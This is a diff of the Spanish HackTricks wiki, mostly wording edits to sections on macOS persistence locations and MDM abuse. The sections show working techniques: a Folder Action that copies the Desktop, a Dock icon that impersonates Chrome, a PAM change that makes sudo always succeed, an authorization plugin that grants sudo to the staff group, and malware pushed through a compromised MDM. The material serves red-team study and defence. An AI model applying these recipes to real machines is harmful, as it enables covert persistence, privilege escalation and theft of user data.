@ -458,7 +460,7 @@ do shell script "touch /tmp/iterm2-autolaunchscpt"
|
|||
```
|
||||
Las preferencias de iTerm2 ubicadas en **`~/Library/Preferences/com.googlecode.iterm2.plist`** pueden **indicar un comando a ejecutar** cuando se abre la terminal iTerm2.
|
||||
|
||||
Esta configuración se puede ajustar en los ajustes de iTerm2:
|
||||
Esta configuración se puede ajustar en las preferencias de iTerm2:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -472,7 +474,7 @@ plutil -p com.googlecode.iterm2.plist
|
|||
[...]
|
||||
"Initial Text" => "touch /tmp/iterm-start-command"
|
||||
```
|
||||
Puedes configurar el comando a ejecutar con:
|
||||
Puede configurar el comando a ejecutar con:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -542,10 +544,10 @@ EOF
|
|||
```
|
||||
### SSHRC
|
||||
|
||||
Resumen: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
Escrito: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Pero se necesita habilitar y usar ssh
|
||||
* Pero ssh necesita estar habilitado y utilizado
|
||||
* Evasión de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSH suele tener acceso a FDA
|
||||
|
||||
|
@ -554,7 +556,7 @@ Resumen: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
|
|||
* **`~/.ssh/rc`**
|
||||
* **Disparador**: Inicio de sesión vía ssh
|
||||
* **`/etc/ssh/sshrc`**
|
||||
* Se requiere ser root
|
||||
* Se requiere root
|
||||
* **Disparador**: Inicio de sesión vía ssh
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -601,15 +603,15 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
```
|
||||
Estos elementos se almacenan en el archivo **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
||||
|
||||
Los **elementos de inicio** también pueden indicarse utilizando la API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) que almacenará la configuración en **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||
Los **elementos de inicio de sesión** también pueden indicarse utilizando la API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) que almacenará la configuración en **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||
|
||||
### ZIP como Elemento de Inicio
|
||||
### ZIP como elemento de inicio de sesión
|
||||
|
||||
(Consulte la sección anterior sobre Elementos de Inicio, esta es una extensión)
|
||||
(Consulte la sección anterior sobre elementos de inicio de sesión, esta es una extensión)
|
||||
|
||||
Si almacenas un archivo **ZIP** como un **Elemento de Inicio**, el **`Archive Utility`** lo abrirá y si el zip, por ejemplo, se almacenó en **`~/Library`** y contenía la carpeta **`LaunchAgents/file.plist`** con una puerta trasera, esa carpeta se creará (no lo está por defecto) y se añadirá el plist para que la próxima vez que el usuario inicie sesión, la **puerta trasera indicada en el plist se ejecutará**.
|
||||
Si almacenas un archivo **ZIP** como un **elemento de inicio de sesión**, el **`Archive Utility`** lo abrirá y si el zip, por ejemplo, se almacenó en **`~/Library`** y contenía la carpeta **`LaunchAgents/file.plist`** con una puerta trasera, esa carpeta se creará (no lo está por defecto) y se añadirá el plist para que la próxima vez que el usuario inicie sesión, la **puerta trasera indicada en el plist se ejecutará**.
|
||||
|
||||
Otra opción sería crear los archivos **`.bash_profile`** y **`.zshenv`** dentro del HOME del usuario, así que si la carpeta LaunchAgents ya existe, esta técnica seguiría funcionando.
|
||||
Otras opciones serían crear los archivos **`.bash_profile`** y **`.zshenv`** dentro del HOME del usuario, así que si la carpeta LaunchAgents ya existe, esta técnica seguiría funcionando.
|
||||
|
||||
### At
|
||||
|
||||
|
@ -626,9 +628,9 @@ Artículo: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbi
|
|||
#### **Descripción**
|
||||
|
||||
Las "tareas at" se utilizan para **programar tareas en momentos específicos**.\
|
||||
Estas tareas difieren de cron en que **son tareas únicas que se eliminan después de ejecutarse**. Sin embargo, **sobrevivirán a un reinicio del sistema** por lo que no se pueden descartar como una amenaza potencial.
|
||||
Estas tareas difieren de cron en que **son tareas únicas que se eliminan después de ejecutarse**. Sin embargo, **sobrevivirán a un reinicio del sistema**, por lo que no se pueden descartar como una amenaza potencial.
|
||||
|
||||
Por **defecto** están **deshabilitadas** pero el usuario **root** puede **habilitarlas** con:
|
||||
Por **defecto** están **deshabilitadas**, pero el usuario **root** puede **habilitarlas** con:
|
||||
```bash
|
||||
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||
```
|
||||
|
@ -686,7 +688,7 @@ total 32
|
|||
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
|
||||
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
|
||||
```
|
||||
El nombre del archivo contiene la cola, el número de trabajo y la hora en la que está programado para ejecutarse. Por ejemplo, veamos `a0001a019bdcd2`.
|
||||
El nombre del archivo contiene la cola, el número de trabajo y el momento en que está programado para ejecutarse. Por ejemplo, veamos `a0001a019bdcd2`.
|
||||
|
||||
* `a` - esta es la cola
|
||||
* `0001a` - número de trabajo en hexadecimal, `0x1a = 26`
|
||||
|
@ -714,19 +716,19 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Un script de Acción de Carpeta se ejecuta cuando a la carpeta a la que está adjunto se le agregan o eliminan elementos, o cuando su ventana se abre, cierra, mueve o redimensiona:
|
||||
Un script de Acción de Carpeta se ejecuta cuando a la carpeta a la que está adjunto se le agregan o eliminan elementos, o cuando su ventana se abre, cierra, mueve o cambia de tamaño:
|
||||
|
||||
* Abrir la carpeta a través de la interfaz de usuario de Finder
|
||||
* Abrir la carpeta a través de la interfaz de usuario del Finder
|
||||
* Agregar un archivo a la carpeta (se puede hacer mediante arrastrar/soltar o incluso en un prompt de shell desde un terminal)
|
||||
* Eliminar un archivo de la carpeta (se puede hacer mediante arrastrar/soltar o incluso en un prompt de shell desde un terminal)
|
||||
* Navegar fuera de la carpeta a través de la interfaz de usuario
|
||||
|
||||
Hay un par de maneras de implementar esto:
|
||||
Hay un par de formas de implementar esto:
|
||||
|
||||
1. Usar el programa [Automator](https://support.apple.com/guide/automator/welcome/mac) para crear un archivo de flujo de trabajo de Acción de Carpeta (.workflow) e instalarlo como un servicio.
|
||||
2. Hacer clic derecho en una carpeta, seleccionar `Configuración de Acciones de Carpeta...`, `Ejecutar Servicio` y adjuntar manualmente un script.
|
||||
3. Usar OSAScript para enviar mensajes de Evento de Apple a `System Events.app` para consultar y registrar programáticamente una nueva `Acción de Carpeta`.
|
||||
* [ ] Esta es la manera de implementar persistencia usando un OSAScript para enviar mensajes de Evento de Apple a `System Events.app`
|
||||
* [ ] Esta es la forma de implementar persistencia usando un OSAScript para enviar mensajes de Evento de Apple a `System Events.app`
|
||||
|
||||
Este es el script que se ejecutará:
|
||||
|
||||
|
@ -752,7 +754,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
|||
se.folderActions.push(fa);
|
||||
fa.scripts.push(myScript);
|
||||
```
|
||||
Ejecuta el script con: `osascript -l JavaScript /Users/username/attach.scpt`
|
||||
Ejecute el script con: `osascript -l JavaScript /Users/username/attach.scpt`
|
||||
|
||||
* Esta es la forma de implementar esta persistencia a través de la interfaz gráfica de usuario (GUI):
|
||||
|
||||
|
@ -768,6 +770,8 @@ app.doShellScript("mkdir /tmp/asd123");
|
|||
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Compílalo con: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
|
||||
Muévelo a:
|
||||
|
@ -806,7 +810,7 @@ Y esto no funcionó para mí, pero esas son las instrucciones del writeup :(
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
|
||||
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Pero necesitas tener instalada una aplicación maliciosa dentro del sistema
|
||||
* Pero necesitas haber instalado una aplicación maliciosa dentro del sistema
|
||||
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Ubicación
|
||||
|
@ -830,7 +834,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Mediante **ingeniería social** podrías **suplantar, por ejemplo, a Google Chrome** dentro del dock y ejecutar realmente tu propio script:
|
||||
Mediante **ingeniería social**, podrías **suplantar, por ejemplo, a Google Chrome** dentro del dock y ejecutar realmente tu propio script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -921,8 +925,8 @@ Ten en cuenta que el binario que carga tu biblioteca tiene un sandbox **muy rest
|
|||
|
||||
### Complementos de Sincronización de Finder
|
||||
|
||||
**Artículo**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
|
||||
**Artículo**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
|
||||
**Writeup**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
|
||||
|
||||
* Útil para evadir sandbox: **No, porque necesitas ejecutar tu propia aplicación**
|
||||
* Evasión de TCC: ???
|
||||
|
@ -1075,11 +1079,11 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
#### Descripción y Explotación
|
||||
|
||||
Spotlight es la función de búsqueda integrada de macOS, diseñada para proporcionar a los usuarios **acceso rápido y completo a los datos en sus computadoras**.\
|
||||
Para facilitar esta capacidad de búsqueda rápida, Spotlight mantiene una **base de datos propietaria** y crea un índice **analizando la mayoría de los archivos**, lo que permite búsquedas rápidas tanto por nombres de archivos como por su contenido.
|
||||
Para facilitar esta capacidad de búsqueda rápida, Spotlight mantiene una **base de datos propia** y crea un índice **analizando la mayoría de los archivos**, lo que permite búsquedas rápidas tanto por nombres de archivos como por su contenido.
|
||||
|
||||
El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa **'servidor de metadatos'**. Este proceso orquesta todo el servicio de Spotlight. Complementando esto, hay múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (`ps -ef | grep mdworker`). Estas tareas son posibles a través de los complementos importadores de Spotlight, o **paquetes ".mdimporter"**, que permiten a Spotlight entender e indexar contenido a través de una amplia gama de formatos de archivo.
|
||||
El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa **'servidor de metadatos'**. Este proceso orquesta todo el servicio de Spotlight. Complementando esto, hay múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (`ps -ef | grep mdworker`). Estas tareas son posibles gracias a los complementos importadores de Spotlight, o **paquetes ".mdimporter"**, que permiten a Spotlight entender e indexar contenido a través de una amplia gama de formatos de archivo.
|
||||
|
||||
Los complementos o paquetes **`.mdimporter`** se encuentran en los lugares mencionados anteriormente y si aparece un nuevo paquete, se carga dentro de un minuto (no es necesario reiniciar ningún servicio). Estos paquetes deben indicar qué **tipo de archivo y extensiones pueden gestionar**, de esta manera, Spotlight los utilizará cuando se cree un nuevo archivo con la extensión indicada.
|
||||
Los complementos o paquetes **`.mdimporter`** se encuentran en los lugares mencionados anteriormente y si aparece un nuevo paquete, se carga en un minuto (no es necesario reiniciar ningún servicio). Estos paquetes deben indicar **qué tipo de archivo y extensiones pueden gestionar**, de esta manera, Spotlight los utilizará cuando se cree un nuevo archivo con la extensión indicada.
|
||||
|
||||
Es posible **encontrar todos los `mdimporters`** cargados ejecutando:
|
||||
```bash
|
||||
|
@ -1090,7 +1094,7 @@ Paths: id(501) (
|
|||
"/System/Library/Spotlight/PDF.mdimporter",
|
||||
[...]
|
||||
```
|
||||
Y por ejemplo, **/Library/Spotlight/iBooksAuthor.mdimporter** se utiliza para analizar este tipo de archivos (extensiones `.iba` y `.book` entre otras):
|
||||
Y por ejemplo, **/Library/Spotlight/iBooksAuthor.mdimporter** se utiliza para analizar este tipo de archivos (extensiones `.iba` y `.book` entre otros):
|
||||
```json
|
||||
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||
|
||||
|
@ -1127,15 +1131,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
[...]
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Si revisas el Plist de otros `mdimporter` es posible que no encuentres la entrada **`UTTypeConformsTo`**. Esto se debe a que es un _Identificador de Tipo Uniforme_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) integrado y no necesita especificar extensiones.
|
||||
Si revisas el Plist de otros `mdimporter`, es posible que no encuentres la entrada **`UTTypeConformsTo`**. Esto se debe a que es un _Identificador de Tipo Uniforme_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) integrado y no necesita especificar extensiones.
|
||||
|
||||
Además, los complementos predeterminados del sistema siempre tienen prioridad, por lo que un atacante solo puede acceder a archivos que no están indexados por los propios `mdimporters` de Apple.
|
||||
{% endhint %}
|
||||
|
||||
Para crear tu propio importador podrías empezar con este proyecto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) y luego cambiar el nombre, los **`CFBundleDocumentTypes`** y agregar **`UTImportedTypeDeclarations`** para que admita la extensión que deseas y reflejarlos en **`schema.xml`**.\
|
||||
Luego **cambia** el código de la función **`GetMetadataForFile`** para ejecutar tu payload cuando se crea un archivo con la extensión procesada.
|
||||
Para crear tu propio importador, podrías comenzar con este proyecto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) y luego cambiar el nombre, los **`CFBundleDocumentTypes`** y agregar **`UTImportedTypeDeclarations`** para que admita la extensión que deseas y reflejarlos en **`schema.xml`**.\
|
||||
Luego, **cambia** el código de la función **`GetMetadataForFile`** para ejecutar tu carga útil cuando se crea un archivo con la extensión procesada.
|
||||
|
||||
Finalmente **construye y copia tu nuevo `.mdimporter`** a una de las ubicaciones anteriores y puedes verificar si se ha cargado **monitoreando los registros** o revisando **`mdimport -L.`**
|
||||
Finalmente, **construye y copia tu nuevo `.mdimporter`** a una de las ubicaciones anteriores y puedes verificar si se ha cargado **monitoreando los registros** o revisando **`mdimport -L.`**
|
||||
|
||||
### ~~Panel de Preferencias~~
|
||||
|
||||
|
@ -1184,7 +1188,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.g
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Los scripts periódicos (**`/etc/periodic`**) se ejecutan debido a los **daemons de lanzamiento** configurados en `/System/Library/LaunchDaemons/com.apple.periodic*`. Ten en cuenta que los scripts almacenados en `/etc/periodic/` son **ejecutados** como el **propietario del archivo**, por lo que esto no funcionará para una posible escalada de privilegios.
|
||||
Los scripts periódicos (**`/etc/periodic`**) se ejecutan debido a los **daemons de lanzamiento** configurados en `/System/Library/LaunchDaemons/com.apple.periodic*`. Ten en cuenta que los scripts almacenados en `/etc/periodic/` se **ejecutan** como el **propietario del archivo**, por lo que esto no funcionará para una posible escalada de privilegios.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1271,7 +1275,7 @@ session required pam_permit.so
|
|||
Y por lo tanto, cualquier intento de usar **`sudo` funcionará**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba una solicitud pidiendo acceso.
|
||||
Ten en cuenta que este directorio está protegido por TCC, por lo que es muy probable que al usuario le aparezca una solicitud pidiendo acceso.
|
||||
{% endhint %}
|
||||
|
||||
### Plugins de Autorización
|
||||
|
@ -1291,7 +1295,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Puedes crear un plugin de autorización que se ejecutará cuando un usuario inicie sesión para mantener persistencia. Para más información sobre cómo crear uno de estos plugins, revisa los writeups anteriores (y ten cuidado, uno mal escrito puede bloquearte y necesitarás limpiar tu mac desde el modo de recuperación).
|
||||
Puedes crear un plugin de autorización que se ejecutará cuando un usuario inicie sesión para mantener la persistencia. Para más información sobre cómo crear uno de estos plugins, consulta los writeups anteriores (y ten cuidado, uno mal escrito puede bloquearte y necesitarás limpiar tu mac desde el modo de recuperación).
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1335,7 +1339,7 @@ Actívalo con:
|
|||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
Y luego el **grupo staff debería tener acceso sudo** (lea `/etc/sudoers` para confirmar).
|
||||
Y luego el **grupo staff debería tener acceso sudo** (lee `/etc/sudoers` para confirmar).
|
||||
|
||||
### Man.conf
|
||||
|
||||
|
@ -1430,7 +1434,7 @@ Siempre que auditd detecta una advertencia, el script **`/etc/security/audit_war
|
|||
```bash
|
||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||
```
|
||||
Podrías forzar una advertencia con `sudo audit -n`.
|
||||
Puede forzar una advertencia con `sudo audit -n`.
|
||||
|
||||
### Elementos de Inicio
|
||||
|
||||
|
@ -1440,7 +1444,7 @@ Podrías forzar una advertencia con `sudo audit -n`.
|
|||
|
||||
Un **StartupItem** es un **directorio** que se **coloca** en una de estas dos carpetas: `/Library/StartupItems/` o `/System/Library/StartupItems/`
|
||||
|
||||
Después de colocar un nuevo directorio en una de estas dos ubicaciones, se necesitan **dos elementos adicionales** dentro de ese directorio. Estos dos elementos son un **script rc** **y un plist** que contiene algunas configuraciones. Este plist debe llamarse “**StartupParameters.plist**”.
|
||||
Después de colocar un nuevo directorio en una de estas dos ubicaciones, se necesitan **dos elementos más** dentro de ese directorio. Estos dos elementos son un **script rc** **y un plist** que contiene algunas configuraciones. Este plist debe llamarse “**StartupParameters.plist**”.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
|
@ -1481,9 +1485,6 @@ echo "Restarting"
|
|||
|
||||
RunService "$1"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### ~~emond~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -1494,23 +1495,23 @@ Informe: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.
|
|||
|
||||
Apple introdujo un mecanismo de registro llamado **emond**. Parece que nunca fue completamente desarrollado, y su desarrollo podría haber sido **abandonado** por Apple en favor de otros mecanismos, pero sigue estando **disponible**.
|
||||
|
||||
Este servicio poco conocido **puede que no sea de mucha utilidad para un administrador de Mac**, pero para un actor de amenazas una muy buena razón para usarlo sería como un **mecanismo de persistencia que la mayoría de los administradores de macOS probablemente no sabrían buscar**. Detectar el uso malicioso de emond no debería ser difícil, ya que el LaunchDaemon del sistema para el servicio busca scripts para ejecutar en un solo lugar:
|
||||
Este servicio poco conocido **puede no ser de mucha utilidad para un administrador de Mac**, pero para un actor de amenazas una muy buena razón para usarlo sería como un **mecanismo de persistencia que la mayoría de los administradores de macOS probablemente no sabrían buscar**. Detectar el uso malicioso de emond no debería ser difícil, ya que el LaunchDaemon del sistema para el servicio busca scripts para ejecutar solo en un lugar:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
### ~~XQuartz~~
|
||||
|
||||
Redacción: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
Escrito: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
#### Ubicación
|
||||
|
||||
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
|
||||
* Se requiere root
|
||||
* Se requiere ser root
|
||||
* **Disparador**: Con XQuartz
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
XQuartz **ya no está instalado en macOS**, así que si quieres más información, consulta la redacción.
|
||||
XQuartz **ya no está instalado en macOS**, así que si quieres más información consulta el escrito.
|
||||
|
||||
### ~~kext~~
|
||||
|
||||
|
@ -1539,7 +1540,7 @@ Para obtener más información sobre [**extensiones de kernel, consulta esta sec
|
|||
|
||||
### ~~amstoold~~
|
||||
|
||||
Artículo: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
Análisis: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
|
||||
#### Ubicación
|
||||
|
||||
|
@ -1554,7 +1555,7 @@ Ya no puedo encontrar esto en mi macOS.
|
|||
|
||||
### ~~xsanctl~~
|
||||
|
||||
Artículo: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
Análisis: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
|
||||
#### Ubicación
|
||||
|
||||
|
@ -1564,7 +1565,7 @@ Artículo: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbi
|
|||
|
||||
#### Descripción y explotación
|
||||
|
||||
Aparentemente no es muy común ejecutar este script y ni siquiera pude encontrarlo en mi macOS, así que si quieres más información, consulta el artículo.
|
||||
Aparentemente no es muy común ejecutar este script y ni siquiera pude encontrarlo en mi macOS, así que si quieres más información, consulta el análisis.
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
|
@ -1672,12 +1673,14 @@ esac
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,65 +2,67 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Abusando de los MDMs
|
||||
## Abusando de MDMs
|
||||
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
Si logras **comprometer las credenciales de administrador** para acceder a la plataforma de gestión, puedes **potencialmente comprometer todas las computadoras** distribuyendo tu malware en las máquinas.
|
||||
Si logras **comprometer credenciales de administrador** para acceder a la plataforma de gestión, puedes **comprometer potencialmente todos los ordenadores** distribuyendo tu malware en las máquinas.
|
||||
|
||||
Para el red teaming en entornos de MacOS, es muy recomendable tener cierto entendimiento de cómo funcionan los MDMs:
|
||||
Para red teaming en entornos MacOS, es altamente recomendable tener cierto entendimiento de cómo funcionan los MDMs:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Usando MDM como C2
|
||||
### Usando MDM como un C2
|
||||
|
||||
Un MDM tendrá permiso para instalar, consultar o eliminar perfiles, instalar aplicaciones, crear cuentas de administrador locales, establecer una contraseña de firmware, cambiar la clave de FileVault...
|
||||
Un MDM tendrá permiso para instalar, consultar o eliminar perfiles, instalar aplicaciones, crear cuentas de administrador locales, establecer contraseña de firmware, cambiar la clave de FileVault...
|
||||
|
||||
Para ejecutar tu propio MDM, necesitas **tu CSR firmado por un proveedor**, que podrías intentar obtener con [**https://mdmcert.download/**](https://mdmcert.download/). Y para ejecutar tu propio MDM para dispositivos Apple, puedes usar [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
Para ejecutar tu propio MDM necesitas **tu CSR firmado por un proveedor**, lo cual podrías intentar obtener con [**https://mdmcert.download/**](https://mdmcert.download/). Y para ejecutar tu propio MDM para dispositivos Apple podrías usar [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
|
||||
